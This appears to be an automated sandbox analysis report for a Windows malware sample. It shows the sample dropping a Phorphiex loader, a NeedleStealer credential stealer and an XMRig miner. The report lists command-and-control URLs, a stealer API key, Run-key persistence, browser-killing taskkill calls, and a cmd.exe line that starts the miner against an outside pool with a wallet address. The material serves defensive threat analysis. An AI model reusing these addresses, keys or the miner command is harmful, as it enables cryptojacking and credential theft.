Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 17:53
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win11ltsc2024-20260709-en
General
- Target file.exe
- Size 10KB
- Sample260823-wgd3psaj21
- SHA256 fd862ca3126251f4f0788ff7b583acdc2d88d21bb1f2f1ee06eaa12abdeb7a8a
- MD5 5359cfeb883005ab71e1d0047ace9b57
- SHA1 954e93d603a563325749410197e841b8a3274dd4
- SHA512 b283ef5931d6ab255c05712a5af354e84f6be196e3a28c3a7c260e8e3275db8abdec2ffd8f538aa2d5f5996ac4256e45bab141dc0f1dabc8910b01fa97915697
- SSDEEP 192:RcolWLwziNBQ5tsxeugRPFJxTEZmFhEorccGFGp:uoBiHAvPFwZsMFG
- TLSH T1AC22D51E2E860331EE6008B0E675864A113D5EE37386FBEBE733D6870AD5D4584C06AF
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
phorphiex
-
http://178.16.55.240/
-
http://178.16.55.240/l/
-
http://178.16.55.240/nm/
-
http://178.16.55.240/nmm/
-
464626246
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
-
needle_stealer
-
http://130.12.180.135:3000/api/v2
-
api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
-
base_extension
false
-
self_destruct
false
Signatures
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Detects NeedleStealer payload 1 IoCs
resource yara_rule behavioral2/files/0x000c00000001c5dd-42.dat family_needlestealer - XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000c00000001c5df-35.dat family_xmrig behavioral2/files/0x000c00000001c5df-35.dat xmrig - Downloads MZ/PE file 6 IoCs
flow pid Process 1 5436 file.exe 1 5436 file.exe 1 5436 file.exe 1 5436 file.exe 1 5436 file.exe 7 3108 4162332257.exe - Executes dropped EXE 9 IoCs
pid Process 4576 2695822520.exe 4516 3133033900.exe 5076 1378711491.exe 5272 2901221849.exe 3108 4162332257.exe 3536 sysmgnrsv.exe 2328 159469795.exe 3088 sysfrodolv.exe 480 sysmgnrsv.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe" 4162332257.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5084 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3133033900.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1378711491.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2901221849.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4162332257.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2695822520.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sysfrodolv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 9 Go-http-client/1.1 - Kills process with taskkill 3 IoCs
pid Process 5760 taskkill.exe 4492 taskkill.exe 4772 taskkill.exe - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe 2328 159469795.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 2328 159469795.exe Token: SeDebugPrivilege 5760 taskkill.exe Token: SeDebugPrivilege 4492 taskkill.exe Token: SeDebugPrivilege 4772 taskkill.exe Token: SeLockMemoryPrivilege 480 sysmgnrsv.exe Token: SeLockMemoryPrivilege 480 sysmgnrsv.exe Token: SeIncBasePriorityPrivilege 480 sysmgnrsv.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 480 sysmgnrsv.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 5436 wrote to memory of 4576 5436 file.exe 88 PID 5436 wrote to memory of 4516 5436 file.exe 89 PID 5436 wrote to memory of 5076 5436 file.exe 90 PID 5436 wrote to memory of 5272 5436 file.exe 91 PID 5436 wrote to memory of 3108 5436 file.exe 92 PID 3108 wrote to memory of 3536 3108 4162332257.exe 94 PID 5436 wrote to memory of 2328 5436 file.exe 96 PID 2328 wrote to memory of 5760 2328 159469795.exe 97 PID 2328 wrote to memory of 4492 2328 159469795.exe 99 PID 2328 wrote to memory of 4772 2328 159469795.exe 103 PID 3108 wrote to memory of 3088 3108 4162332257.exe 105 PID 3088 wrote to memory of 5084 3088 sysfrodolv.exe 106 PID 5084 wrote to memory of 480 5084 cmd.exe 108
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5436 -
C:\Users\Admin\AppData\Local\Temp\2695822520.exeC:\Users\Admin\AppData\Local\Temp\2695822520.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4576
-
-
C:\Users\Admin\AppData\Local\Temp\3133033900.exeC:\Users\Admin\AppData\Local\Temp\3133033900.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4516
-
-
C:\Users\Admin\AppData\Local\Temp\1378711491.exeC:\Users\Admin\AppData\Local\Temp\1378711491.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5076
-
-
C:\Users\Admin\AppData\Local\Temp\2901221849.exeC:\Users\Admin\AppData\Local\Temp\2901221849.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5272
-
-
C:\Users\Admin\AppData\Local\Temp\4162332257.exeC:\Users\Admin\AppData\Local\Temp\4162332257.exe2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe3⤵
- Executes dropped EXE
PID:3536
-
-
C:\sysfrodolv.exe\sysfrodolv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=254⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=255⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:480
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\159469795.exeC:\Users\Admin\AppData\Local\Temp\159469795.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5760
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4492
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4772
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2892
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\1378711491.exe
- Size 18KB
- SHA256 6f7dc171744100aa4d50cb2b7f22b059861b2992c7d1a97f928ba835bdd2b2c3
- MD5 d316c5318b3310ff81580776a06b2eb5
- SHA1 c85ef0b963e98a775ddaa0536ce214ff8a37d3e7
- SHA512 d295921e53cbb53c1e7e18ebeb0135e5adcf1412cdfcbba145e4c2665e4d4b485660058550dff694c46eef5e48929b829917e5ad25732dfd72998879909ce978
- SSDEEP 384:T96I8/V6l6VWo0HlmLu94gXTcjlmxav8U9cml:T9f40Ht9k8a0U
- TLSH T136824A0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\159469795.exe
- Size 8.3MB
- SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
- MD5 2cfaefe80e05fe0f093cf5c382d7c77f
- SHA1 c2ad2a5b5cd45e6f574d86b6e5b1079ed3063933
- SHA512 d75a4743bcb6fa5d879e06ef83536c00408434dff59aee6a182745fe43f57099d9cf3e85cbc149960846ae1d5d4d5cce790baa717f089afbc96bfdf771b1a3d7
- SSDEEP 98304:aoM7vbdbj6O/qZLw5tfjf8Bwm1sDjNXX5Ikr3aX5svhUE:aoMLbdbWO/eLafjUBD1+jNnSMq+t
- TLSH T131968D07EC9155A9C0AAE6358A729253BA717C485B3123D73F90F7382F73BD06AB8750
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2695822520.exe
- Size 18KB
- SHA256 46b17f043c38aaa7bb67986b4101cecdb9cd176f259828f0b4e9fa2f5d7b17ed
- MD5 0126590cd5a48d265d7408ffd68619c5
- SHA1 3bbe520fdab2d7c75f44b03052f4f928a0d60b82
- SHA512 3d66778de85346c519561517d5561c08b2fbcac5c9d41d06caa92d7a32bcfaed145a2cc55da4ec66175242a8850a1658c39dbd4c8dcf400da725bd8de7009948
- SSDEEP 384:0S6I8vVaF61SYUQQlmLu94gXTczlmxav8U9cVl:0SPkUQQt9U8a0U
- TLSH T1D9824B0FB9424326D0E11070A676867BDA79A8B633C514DBF7E48AED0A686D1FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2901221849.exe
- Size 18KB
- SHA256 8678a0b7ebe2eccf92cdab9a60bb9d55260c776fcd44ee8a2530cfa379d0460a
- MD5 5a490555596fd0084c9816c742f54030
- SHA1 fbaae541c1b6a47441e58fadf36a7ef7617db4cd
- SHA512 46babd71c2b8a06f89474fccf57bec7bc94c44a27a7b7c7693733f2959531bcc8519a20cc60b9ea97d11515c8a3e9d0795b9cfccbb978c8cfa92a839465af2c9
- SSDEEP 384:GP6I8/V6l6Vio0HlmLu94gXTcjlmxav8U9c9bl:GPfk0Ht9k8a0UO
- TLSH T1E4824B0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3315F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\3133033900.exe
- Size 18KB
- SHA256 37c11f7513e3f89936105ecc9a6d1d24e5ec8e2c732624d22835024747389569
- MD5 0c6008df0c79c76bd9fc6ad19a4c7c4b
- SHA1 8a27970da176e3e827414422ee20c46fabfadd0d
- SHA512 e58c0e9d461216f3cc1e339f8ef9e3c79f8e621beedb9351620aeede279df9b4a622a4a6c50ddb55b1ec40c26ef342a47b96c4acf4e6f64ef0b567901e0ee62c
- SSDEEP 384:k56I8vVaF61eYUQQlmLu94gXTczlmxav8U9cIfl:k5PAUQQt9U8a0UZ
- TLSH T1CF824B0FB9424326D0E11070A676867BDA79A8B633C414DBF7E48AED0A6C6D5FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\4162332257.exe
- Size 12KB
- SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
- MD5 07bd5d0edaca14204802b8ff7db346ce
- SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
- SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
- SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
- TLSH T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\sysmgnrsv.exe
- Size 6.2MB
- SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
- MD5 ac458ece671fdde066ce60e448f12bc0
- SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
- SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
- SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
- TLSH T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
- MD5 SHA1 SHA512 SSDEEP TLSH